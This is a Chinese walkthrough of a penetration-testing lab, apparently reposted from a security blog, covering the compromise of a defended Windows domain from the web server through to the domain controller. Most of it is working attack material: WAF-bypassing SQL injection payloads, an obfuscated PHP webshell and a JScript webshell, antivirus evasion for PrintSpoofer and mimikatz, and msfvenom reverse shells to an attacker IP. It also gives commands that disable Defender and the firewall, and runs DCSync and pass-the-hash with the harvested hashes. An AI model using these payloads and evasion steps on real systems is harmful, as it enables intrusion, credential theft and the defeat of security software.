带防护的Windows域渗透
The following article is from A11Safe Author toxic80l
公众号现在只对常读和星标的公众号才展示大图推送,
建议大家把听风安全设为星标,否则可能就看不到啦!
----------------------------------------------------------------------
Attack 靶场主要为带防护的 Windows 域渗透,其中涉及多项技术,包括SQL注入、文件上传、通达OA利用、免杀猕猴桃、免杀360、安全狗绕过、Windows Defender绕过、PTH、DCSync等知识。
0x01 靶机环境搭建
靶场中包含三台靶机,具体的网络拓扑图如下
根据拓扑图环境分别为三台主机配置不同的网卡
web 服务器管理员密码为!@#QWE123
,域用户 oa 密码为!@#Qz123
,域管理员密码为!@#QWEasd123.
,登录 web 服务器查看 IP 地址为192.168.0.100
当然也可以使用 netdiscover 发现内网主机
netdiscover 192.168.0.0/24
在 hosts 文件中绑定域名解析
sudo vim /etc/hosts
## 配置
192.168.0.100 www.moonlab.com
成功访问目标站点,靶机环境部署完成
0x02 外网边界突破
端口扫描
使用 masscan 快速扫描目标全部端口
sudo masscan -p 1-65535 192.168.0.100 --rate=200
使用 nmap 对 masscan 扫描到的端口进行具体的信息探测
nmap -A -p 21,80,999,3389,5985,6588 -sC -Pn 192.168.0.100
使用 nmap-converter 转换 nmap 扫描报告,能够更加直观地看到扫描信息
python3 nmap-converter.py attack.xml -o attack.xls
80端口
在robots.txt
中发现三个目录,分别为/SiteServer/
、/SiteFiles/
、/UserCenter/
访问目录/SiteServer
为管理员登录界面
访问目录/UserCenter
为用户登录界面
访问/UserCenter
为空白界面
尝试使用目录扫描工具进行扫描,但是速率过快导致安全狗封锁,因此需要编写目录扫描脚本,值得注意的是被打开的文件得根据需要设置字符编码
import requests
import time
url = "http://www.moonlab.com/"
codes = [200, 301, 302, 401, 500]
lists = []
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.83 Safari/537.36"
}
def open_dir():
f = open('big.txt', 'r', encoding="latin-1")
for path in f.readlines():
url_path = url + path
lists.append(url_path.strip())
def scan_dir():
for url_path in lists:
res = requests.get(url_path, headers=headers)
time.sleep(0.5)
if res.status_code in codes:
result = url_path + " code:" + str(res.status_code) + " len:" + str(len(res.content))
save_result(result)
print(result)
def save_result(result):
f = open("result.txt", "a")
f.write(result + "\n")
open_dir()
scan_dir()
扫描结果如下:
SQL注入
由于 SiteServer 存在许多漏洞,目前网上存在许多 POC,比如 w9scan 中就集成了相关的检测代码,但是直接使用扫描器扫描器扫描的话,安全狗会直接封锁IP,因此需要找到相关的 POC 并重新修改
项目地址:https://github.com/w-digital-scanner/w9scan
import requests
ps = [
'siteserver/service/background_taskLog.aspx?Keyword=test%%27%20and%20convert(int,(char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version))=1%20and%202=%271&DateFrom=&DateTo=&IsSuccess=All',
'usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--',
'siteserver/bbs/background_keywordsFilting.aspx?grade=0&categoryid=0&keyword=test%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%202=%271',
'siteserver/userRole/background_administrator.aspx?RoleName=%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%201=%271&PageNum=0&Keyword=test&AreaID=0&LastActivityDate=0&Order=UserName',
'siteserver/userRole/background_user.aspx?PageNum=0&Keyword=%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%201=%27&CreateDate=0&LastActivityDate=0&TypeID=0&DepartmentID=0&AreaID=0',
'siteserver/bbs/background_thread.aspx?UserName=test&Title=%27%20and%201=char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version%20and%201=%27&DateFrom=&DateTo=&ForumID=0',
]
url = "http://www.moonlab.com/"
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.83 Safari/537.36"
}
def scan():
for p in ps:
url_path = url + p
res = requests.get(url_path, headers=headers)
# 安全狗响应长度为2494
res_len = len(res.content)
if res_len != 2494:
print(res.url + "\n" + str(res_len))
scan()
扫描结果如下:
访问前者会重定向至登录界面,后者则会返回报错信息,发现数据库版本为SQL Server 2008 R2
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--
尝试替换db_name()
函数完成注入,但是被安全狗发下并拦截
db_name()=2;%20--
通过~
尝试绕过安全狗进行注入,成功发现数据库名msmoonlab
db_name()=~2;%20--
但是没有发现数据表名,找到开源源代码并发现用户数据表名、数据列名,尝试获取账号、密码以及加密盐
~1=(select top 1 username from [bairong_Administrator]); --
~1=(select top 1 password from [bairong_Administrator]); --
~1=(select top 1 passwordsalt from [bairong_Administrator]); --
成功发现账号、密码以及加密盐值如下:
账号密码:admin/64Cic1ERUP9n2OzxuKl9Tw==
加密盐值:LIywB/zHFDTuEA1LU53Opg==
解密加盐密文
目前我们已经拥有网站源码,虽然拿到了账号密码,但是密码是密文且无法获取对应明文,因此需要对.Net
源代码进行审计,找到siteserver/login.aspx
所对应函数为BaiRong.BackgroundPages.FrameworkLogin
<%@ Page Language="c#" Inherits="BaiRong.BackgroundPages.FrameworkLogin" %>
成功在bin
目录中找到BaiRong.BackgroundPages.dll
使用 dnSpy 反编译BaiRong.BackgroundPages.dll
找到BaiRong.BackgroundPages.FrameworkLogin
,尝试从中寻找加密函数,但是无果
切换思路,尝试寻找关键词password
,成功在UserCenter.Core.AdminAuthUtils
中找到加密函数
但是它还不是真正的加密函数,用于执行的是DESEncryptor.DesDescrypt()
,由此断定密码加密方式使用的是 DES 算法,点击DesDescrypt()
跳转至加密函数当中,源代码如下:
public void DesEncrypt()
{
byte[] rgbIV = new byte[]
{
18,
52,
86,
120,
144,
171,
205,
239
};
try
{
byte[] bytes = Encoding.UTF8.GetBytes((this.x39d9653625493ae8.Length > 8) ? this.x39d9653625493ae8.Substring(0, 8) : this.x39d9653625493ae8);
DESCryptoServiceProvider descryptoServiceProvider = new DESCryptoServiceProvider();
byte[] bytes2 = Encoding.UTF8.GetBytes(this.x3c811436980dcf17);
MemoryStream memoryStream = new MemoryStream();
CryptoStream cryptoStream = new CryptoStream(memoryStream, descryptoServiceProvider.CreateEncryptor(bytes, rgbIV), CryptoStreamMode.Write);
cryptoStream.Write(bytes2, 0, bytes2.Length);
cryptoStream.FlushFinalBlock();
if (!false)
{
}
this.xc7d800b8a71773fd = Convert.ToBase64String(memoryStream.ToArray());
}
catch (Exception ex)
{
this.x456956327593d9f6 = ex.Message;
}
}
与此同时还发现了解密函数Decrypt,源代码如下:
public void DesDecrypt()
{
byte[] rgbIV = new byte[]
{
18,
52,
86,
120,
144,
171,
205,
239
};
byte[] array = new byte[this.x3c811436980dcf17.Length];
try
{
byte[] bytes = Encoding.UTF8.GetBytes(this.x6d0b493f217f133b.Substring(0, 8));
DESCryptoServiceProvider descryptoServiceProvider = new DESCryptoServiceProvider();
array = Convert.FromBase64String(this.x3c811436980dcf17);
MemoryStream memoryStream = new MemoryStream();
if (!false)
{
}
CryptoStream cryptoStream = new CryptoStream(memoryStream, descryptoServiceProvider.CreateDecryptor(bytes, rgbIV), CryptoStreamMode.Write);
cryptoStream.Write(array, 0, array.Length);
cryptoStream.FlushFinalBlock();
Encoding encoding = new UTF8Encoding();
this.xc7d800b8a71773fd = encoding.GetString(memoryStream.ToArray());
}
catch (Exception ex)
{
this.x456956327593d9f6 = ex.Message;
}
}
尝试通过 VS2019 来编写 DES 解密工具,首先选择 .net 框架为 4.5
创建空间绘制窗口UI,完成后如下
将解密函数添加其中,与此同时添加执行脚本
private void button1_Click(object sender, EventArgs e)
{
DesDecrypt();
}
public void DesDecrypt()
{
byte[] rgbIV = new byte[]
{
18,
52,
86,
120,
144,
171,
205,
239
};
byte[] array = new byte[this.textBox1.Text.Length];
try
{
byte[] bytes = Encoding.UTF8.GetBytes(this.textBox2.Text.Substring(0, 8));
DESCryptoServiceProvider descryptoServiceProvider = new DESCryptoServiceProvider();
array = Convert.FromBase64String(this.textBox1.Text);
MemoryStream memoryStream = new MemoryStream();
if (!false)
{
}
CryptoStream cryptoStream = new CryptoStream(memoryStream, descryptoServiceProvider.CreateDecryptor(bytes, rgbIV), CryptoStreamMode.Write);
cryptoStream.Write(array, 0, array.Length);
cryptoStream.FlushFinalBlock();
Encoding encoding = new UTF8Encoding();
this.textBox3.Text = encoding.GetString(memoryStream.ToArray());
}
catch (Exception ex)
{
this.textBox4.Text = ex.Message;
}
}
编译生成后运行,同时输入密文值
解密成功后获得如下账号密码:
admin 64Cic1ERUP9n2OzxuKl9Tw== admin5566
忘记密码
在后台登录界面中发现找回密码功能存在逻辑漏洞,输入用户名为admin
使用 BurpSuite 将回答修改为空会返回明文密码
成功拿到密码为admin5566
后台文件上传
使用admin/admin5566
成功登录后台
在系统管理》系统站点管理》站点模版管理中存在文件上传,将过狗木马导入站点模板
使用变量覆盖+参数绕过可成功绕狗,过狗马如下:
<%@ Page Language="Jscript"%>
<%
var a =Request.Item["c32as"];
a=a.Replace("moonmoonmoonmm","Response.Write");
//Response.Write(a);
eval(a,"unsafe");
%>
上传后压缩包会自动解压,木马地址为http://www.moonlab.com/sitefiles/sitetemplates/mac/mac.aspx
,但是出现服务器错误问题,这主要是代码原因,对连接无影响
使用蚁剑成功连接木马,密码为c32as
0x03 主机权限提升
主机信息收集
查看用户权限发现当前用户为iis apppool
,需要进一步权限提升
whoami
查询操作系统版本为 Windows Server 2016
systeminfo
查询系统进程,发现安全狗、Windows Defender 等安全软件
tasklist
使用在线工具比对杀毒软件能够更加清晰地看见服务器运行服务
免杀上线MSF
使用 PrintSpoofer 可原先可以直接免杀,但是现在 Windows Defender 已查杀,因此需要进行免杀处理,使用 Visual Stdio 打开源码包,将项目中全部关键字PrintSpoofer
替换为macsec
项目地址:https://github.com/itm4n/PrintSpoofer
修改头文件名称以及源码文件名称PrintSpoofer
为macsec
删除用法函数PrintUsage
中的内容
通过正则匹配wprintf*
将项目中所有wprintf
替换成空
编译生成 release 版本后在本地进行测试,成功免杀
macsex.exe -i -c "cmd.exe"
将免杀后的 PrintSpoofer 上传至C:\Windows\Temp
目录当中
执行命令查看权限为系统权限
PrintSpoofer64.exe -i -c "whoami"
使用 MSF 生成对应免杀的 shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.113 LPORT=4444 -e x86/shikata_ga_nai -i 30 -f csharp -o payload.txt
利用掩日工具输入 shellcode 选择执行方式2VirtualProtect
进行免杀
在 MSF 中开启监听
msf > use multi/exploit/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set lhost 192.168.0.113
msf > set lport 4444
msf > exploit -j
使用PrintSpoofer64.exe
执行免杀木马
PrintSpoofer64.exe -i -c "test.exe"
免杀后:PrintSpoofer64.exe -i -c "cmd.exe /c c:\Windows\temp\test.exe"
成功上线 MSF 拿到会话
查看进程,寻找稳定的系统64位进程
meterpreter > ps
迁移成功,但不久后就会话自动断开,可能被 Windows Defender 识别到了特征
meterpreter > migrate 1080
使用命令获取哈希值
meterpreter > hashdump
成功拿到哈希值
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e7114141b0337bdce1aedf5594706205:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
huweishen166644:1004:aad3b435b51404eeaad3b435b51404ee:93a50f03c4bc59579605ee0c1937401a:::
moonlab:1010:aad3b435b51404eeaad3b435b51404ee:16607206dae8e7ac67ccbbce40363686:::
MySQL_HWS:1001:aad3b435b51404eeaad3b435b51404ee:c5bf79ff3e413dd56c626aaed26431bb:::
PhpMyAdmin_HWS:1002:aad3b435b51404eeaad3b435b51404ee:8ad7000c1e4378339c86952dd7dc23e1:::
查询管理员哈希值,成功拿到密码!@#QWE123
当然也使用 hashcat 破解哈希值
hashcat -a 0 -m 1000 ntlm.hash /usr/local/share/wordlists/rockyou.txt --force
加载 Mimikatz 获取明文,成功拿到密码!@#QWE123
meterpreter > load mimikatz
meterpreter > creds_all
内网信息收集
查看端口开放情况发现远程桌面已开启,同时目前已经有了管理员账号密码,使用该凭证就可以登录远程桌面关闭 Windows Defender
meterpreter > netstat -ano
但是在实战中不到万不得已不要登录远程桌面,因此如果有需要的话可以通过命令行关闭 Windows Defender
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /d 1 /t REG_DWORD /f
重新开启可以使用如下命令(开启前请删除上传工具)
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /d 0 /t REG_DWORD /f
查看当前主机网络发现存在两个网段,分别为192.168.0.0/24
、10.10.1.0/24
meterpreter > ifconfig
使用 ping 命令寻找10.10.1.0/24
网段的主机
for /l %i in (1,1,255) do @ ping 10.10.1.%i -w "ttl="
在 MSF 中可以直接通过arp_scanner
模块来替代,成功发现主机10.10.1.130
meterpreter > run arp_scanner -r 10.10.1.0/24
0x04 内网横向渗透(MSF)
建立socks代理
通过 MSF 添加路由10.10.1.0/24
meterpreter > run autoroute -s 10.10.1.0/24
meterpreter > run autoroute -p
运行模块socks_proxy
建立 socks 代理
msf > use auxiliary/server/socks_proxy
msf > set srvport 2222
msf > show options
msf > run
通过 proxychains 建立代理
vim /usr/local/etc/proxychains.conf
#配置
socks5 127.0.0.1 2222
使用 nmap 通过代理进行扫描,结果只开放了80端口,可能存在防火墙拦截
proxychains4 nmap -Pn 10.10.1.130 -p 80,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984,6379,7001,7002,9200,9300,11211,27017,27018,50000,50070,50030,21,22,23,2601,3389 --open
通达OA远程代码执行
访问目标80端口,成功发现通达OA
通达OA存在远程代码执行漏洞,通过该漏洞利用脚本可上传木马,上传后的木马地址为http://10.10.1.130/ispirit/interface/404.php
项目地址:https://github.com/Al1ex/TongDa-RCE
proxychains python3 tongda_shell.py http://10.10.1.130
但是木马被直接查杀,因此需要使用蚁剑生成免杀马
经过Base64编码后再次上传
PD9waHAgJGtoZXA9Y3JlYXRlX2Z1bmN0aW9uKGNocigxMTM0MC8zMTUpLmJhc2U2NF9kZWNvZGUoJ2N3PT0nKS5zdHJfcm90MTMoJ2InKS5zdHJfcm90MTMoJ3onKS5jaHIoMHhmZC0weDk4KSxjaHIoMHhkNmEwLzB4MjIwKS5iYXNlNjRfZGVjb2RlKCdkZz09JykuY2hyKDB4MTFkYjIvMHgyZjIpLmNocigwMTE1NTAwLzA1NjApLnN0cl9yb3QxMygnKCcpLmNocigwNDQwMDAvMDEwMDApLmJhc2U2NF9kZWNvZGUoJ2N3PT0nKS5zdHJfcm90MTMoJ2InKS5iYXNlNjRfZGVjb2RlKCdiUT09JykuY2hyKDB4NjYyZi8weDEwMykuY2hyKDY1Ny02MTYpLmNocig0MjMtMzY0KSk7JGtoZXAoYmFzZTY0X2RlY29kZSgnTlRJeE0nLidEQTVPMCcuJ0JsZGtGJy4nc0tDUmYnLicnLmNocigweDEzYTFhLzB4M2IyKS5iYXNlNjRfZGVjb2RlKCdSUT09Jykuc3RyX3JvdDEzKCc5Jykuc3RyX3JvdDEzKCdHJykuYmFzZTY0X2RlY29kZSgnVmc9PScpLicnLicnLmNocigwNjM1LTA1MjcpLnN0cl9yb3QxMygnZycpLmNocigwMTMwNDcwLzA2NTQpLmNocig1NzAtNDcyKS5iYXNlNjRfZGVjb2RlKCdWdz09JykuJycuJ1JkS1RzJy4neE5UWXonLidNREkzTycuJ3c9PScuJycpKTs/Pg==
配置蚁剑代理后连接木马地址
成功连接木马
主机信息收集
查看当前权限为系统权限,如果无法回显可使用whoami > cmd.txt
进行输出
查看操作系统信息,操作系统版本为 Windows Server 2012 R2,同时安装182个补丁
systeminfo
查看当前运行运行服务,存在360全家桶套餐以及防火墙
net start
查看当前进程,同样发现360杀软进程
tasklist
查看网卡信息,发现存在域attack.local
两个网段,分别为10.10.1.0/24
、10.10.10.0/24
ipconfig /all
查看端口开放信息,存在诸多端口,但是 nmap 并没有扫描到这些端口,说明防火墙阻断了这些端口
netstat -ano
使用命令关闭防火墙,但是出现乱码
netsh advfirewall set allprofiles state off #关闭防火墙
netsh advfirewall set allprofiles state on #开启防火墙
netsh advfirewall show allprofiles #查看防火墙开放状态
使用 nmap 测试成功,防火墙已关闭
免杀上线MSF
使用 MSF 生成正向连接 shellcode
msfvenom -p windows/meterpreter/bind_tcp lport=4444 -e x86/shikata_ga_nai -i 30 -f csharp -o payload_bind.txt
使用掩日对生成的 shellcode 选择执行方式2VirtualProtect
进行免杀,需要注意的是一般不出网主机的杀毒策略相对滞后
通过蚁剑上传木马并执行
使用 MSF 设置代理正向连接服务器
msf > use exploit/multi/handler
msf > set payload windows/meterpreter/bind_tcp
msf > set rhost 10.10.1.130
msf > set lport 4444
msf > exploit
查看系统进程,寻找稳定的进程
meterpreter > ps
选择进程号872进行注入
meterpreter > migrate 872
域内信息收集
尝试获取用户哈希值
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:357bec0ee1f524c62ba536fcd3f74472:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
加载 mimikatz 尝试获取主机用户明文信息,但是并没有拿到相关信息,可能被360阻断了
meterpreter > load kiwi
meterpreter > creds_all
查看用户目录发现域管理员用户,说明域管理员登录该主机
meterpreter > ls c://Users
enum_logged_on_users
查看登录过的用户,但会话直接中断
meterpreter > run post/windows/gather/enum_logged_on_users
加载enum_domain
查看主机域信息,直接执行还是被中断,说明 360 对 MSF 执行模块很敏感
meterpreter > run post/windows/gather/enum_domain
进入 cmd 中查询域内信息,查询主机信息失败
net config workstation
查询存在域信息,但还是报错,说明当前会话查询敏感操作已经被限制
net view /domain
尝试寻找域控,域控主机名为DC
net group "Domain Controllers" /domain
域控主机名为dc.attack.local
net time /domain
尝试获取域控IP地址,其地址为10.10.10.165
ping dc.attack.local
添加路由网段10.10.10.0/24
meterpreter > run autoroute -s 10.10.10.0/24
meterpreter > run autoroute -p
通过代理扫描域控端口
proxychains4 nmap -Pn 10.10.10.165 -p 80,88,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984,6379,7001,7002,9200,9300,11211,27017,27018,50000,50070,50030,21,22,23,2601,3389 --open
扫描结果如下,目标开放了88、135、445、3389端口
DCSync获取哈希
查看进程发现域管理员进程ID
选择进程号 14264 窃取域管理员凭证
meterpreter > steal_token 14264
meterpreter > rev2self //恢复原来的凭证
通过 dcsync 获取域管理员用户和 krbtgt 用户的 NTLM 哈希
meterpreter > dcsync_ntlm administrator
meterpreter > dcsync_ntlm krbtgt
[+] Account : administrator
[+] NTLM Hash : 3f37aede0b8a007bbb1d26ba03f65595
[+] LM Hash : fa93e81c0c7a5ffad0df890952f923a5
[+] SID : S-1-5-21-4052809752-717748265-227546684-500
[+] RID : 500
[+] Account : krbtgt
[+] NTLM Hash : 67446f76100703cc0866cb7167cca084
[+] LM Hash : c7192cc0c2c01aee95bc9a98664ed15b
[+] SID : S-1-5-21-4052809752-717748265-227546684-502
[+] RID : 502
通过在线哈希解密拿到域控密码为!@#QWEasd123
远程桌面登录
使用 Proxyifier 尝试建立代理
输入账号密码
登录域控主机成功
免杀猕猴桃PTH
在 MSF 中虽然能够获取猕猴桃的相关命令,但是在执行操作时一直被拦截,目前存在免杀项目猕猴桃有两种执行方式,分别是 exe 模式和 dll 模式,生成 exe 会直接被杀软查杀,但是通过 dll 执行不会被查杀项目地址:https://github.com/ssssanr/Mimikatz-Csharp
首先生成key.snk
$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
$Content = [System.Convert]::FromBase64String($key)
Set-Content key.snk -Value $Content -Encoding Byte
将生成的key.snk
和katz.cs
放入.Net
执行目录中,通过csc.exe
生成regsvcs.dll
cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\
.\csc.exe /r:System.EnterpriseServices.dll
/r:System.IO.Compression.dll /target:library /out:regsvcs.dll /keyfile:key.snk /unsafe katz.cs
上传regsvcs.dll
至c:\\Windows\Temp
目录当中
meterpreter > upload ~/Desktop/regsvcs.dll c://windows/temp/
使用命令执行该文件加载 Mimikatz
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe regsvcs.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe regsvcs.dll
利用猕猴桃通过 PTH 登录域控,但加载出错
privilege::debug
sekurlsa::pth /user:Administrator /domain:attack.local /ntlm:3f37aede0b8a007bbb1d26ba03f65595
难道是猕猴桃的原因吗?尝试删除关键字的方式制作猕猴桃免杀并上传
执行成功说明果然是那个猕猴桃的原因,使用 mimikatz 建立共享失败
net use \\DC
dir \\DC\C$
这又是什么原因呢?在主机上利用发现需要在跳出来的 cmd 中执行才能成功,真是鸡肋啊!
除了猕猴桃以外我们还可以尝试 MSF 进行哈希传递,利用成功
msf > setg Proxies socks5:127.0.0.1:2222
msf > setg ReverseAllowProxy true
msf > use exploit/windows/smb/psexec
msf > set payload windows/meterpreter/bind_tcp
msf > set rhost 10.10.10.165
msf > set SMBDomain attack
msf > set SMBuser administrator
msf > set SMBpass fa93e81c0c7a5ffad0df890952f923a5:3f37aede0b8a007bbb1d26ba03f65595 # 冒号前面为LM后面为NTLM
msf > run
但通过 MSF 连接域控失败,连接失败的主要原因是域控防火墙已开启,导致外部无法连接开放端口
msf > use exploit/multi/handler
msf > set payload windows/meterpreter/bind_tcp
msf > set rhost 10.10.10.165
msf > set lport 4444
msf > exploit
而使用 wmiexec.py 可利用哈希传递成功连接管理员
proxychains4 python3 wmiexec.py -hashes fa93e81c0c7a5ffad0df890952f923a5:3f37aede0b8a007bbb1d26ba03f65595 attack.local/administrator@10.10.10.165
0x05 内网横向渗透(CS)
服务器上线CS
配置 http 监听器
生成 exe 类型木马cs_mac1.exe
通过蚁剑上传木马但显然无法上传,可能是木马被查杀
在 CS 中生成 C# 类型的 payload
通过掩日 2.0 版本生成木马
成功生成test.exe
,使用新版掩日再次生成即可免杀马Tjm.exe
通过蚁剑上传木马还是失败,使用 MSF 上传木马
meterpreter > upload ~/Desktop/pNO.exe c://windows/temp/
通过 MSF 执行木马上线CS
也可以使用 MSF 将会话转到 CS
msf > use exploit/windows/local/payload_inject
msf > set payload windows/meterpreter/reverse_http
msf > set LHOST 192.168.0.115 //cs主机地址
msf > set LPORT 80 //随意设置监听端口,需要和cs保持一致
msf > set session 4 //设置需要派送的meterpreter
msf > set DisablePayloadHandler true //禁止产生一个新的handler
同样能够上线CS
建立socks代理
尝试使用 FRP 建立代理,其中frpc.ini
代理配置如下:
[common]
server_addr = 192.168.0.115
server_port = 7000
[http_proxy]
type = tcp
remote_port = 6000
plugin = socks5
frps.ini
配置如下:
[common]
bind_addr = 0.0.0.0
bind_port = 7000
上传frps
和frps.ini
至服务器并执行
./frps -c frps.ini
在靶机中上传frpc
和frpc.ini
,同时连接 FRP
frpc.exe -c frpc.ini
域内主机上线
在服务器上建立TCP中转监听
生成中转监听木马cs_mac2.exe
,但是掩日不支持免杀该马
使用代理访问之前上传的木马
设置 smb 监听器并生成对应木马beacon.exe
设置 TCP 监听器生成对应木马cs_mac3.exe
上传后并没有被360杀死,使用蚁剑执行木马
正向连接 TCP 上线OA服务器
connect 10.10.1.130 4567
PTH上线域控
获取密码明文
logonpasswords
查看进程发现域管理员进程并窃取
ps
steal_token 14688
借助梼杌插件完成猕猴桃PTH
填写域名、哈希、用户名
成功访问域控
shell dir \\dc\c$
利用 SMB 监听通过 psexec 上线
成功上线域控
0x06 靶场学习总结
整个靶场全面地展示了带防护的 Windows 域渗透,通过信息收集发现站点存在安全狗 WAF,因此后期无论是目录扫描还是漏洞利用都需要绕过 WAF 防护,编写脚本限制速率可完成目录扫描,由于目标 CMS 是 SiteServer,使用针对性的漏洞检测脚本发现其中存在 SQL 注入漏洞,配合~1=
绕过安全狗成功从数据库中拿到账号、密码密文以及加密盐值。而 SiteServer 是开源的,可下载后在本地搭建测试,通过代码审计拿到解密函数解密密文并成功拿到明文。与此同时经审计可知 SiteServer 的忘记密码处还存在逻辑漏洞,绕过后同样能发现用户 admin 对应的明文密码。以上这两种方式均可拿到后台登录界面密码。利用该账号密码登录后台,在模板管理中存在文件上传,尝试上传木马会被安全狗拦截,因此需对木马进行参数绕过、变量覆盖后才能上传,使用蚁剑连接成功拿到 IIS 用户权限。
在服务器上发现多个防护软件,当然最令人头疼的就是 Windows Defender,查看主机服务发现可提权服务PrintSpoofer
,但对应的提权程序已被微软查杀,修改特征码免杀PrintSpoofer
,成功绕过 Windows Defender 提权并上线 MSF,第一时间关闭各类杀软,否则会导致在进行信息收集时会话不断中断。通过主机信息收集发现同网段主机10.10.1.130
,建立 socks 代理连接后使用 nmap 扫描该主机的端口信息,目标只开放了80端口,访问后为通达 OA,该版本下存在 RCE 漏洞,但是需要使用蚁剑免杀木马,否则还会被目标主机上的防护软件杀死,通过蚁剑成功连接免杀马,经查询可知当前权限为系统权限。
在服务器上查看端口发现多个端口开放,说明防火墙已开放并阻断了其他端口的外部连接。在蚁剑上使用命令关闭防火墙并免杀上线 MSF,完成迁移进程后执行 MSF 模块出现诸多报错,遂使用命令查询域信息,成功找到域控地址为10.10.10.165
,由于对哈希进行解密后我们已经拿到了明文密码,因此存在两种访问域控,一是登录域控的 3389 端口,但是远程桌面动静太大,不太适合实战应用;二是哈希传递上线C2,而哈希传递也存在多种方式,比如猕猴桃 PTH、wmiexec、psexec 等,最终使用 PTH 成功上线域控主机。该靶场非常贴近实战,尤其是免杀和WAF绕过,十分适合网络安全进阶人员练习,在实战渗透时能够提供给我们非常好的借鉴作用。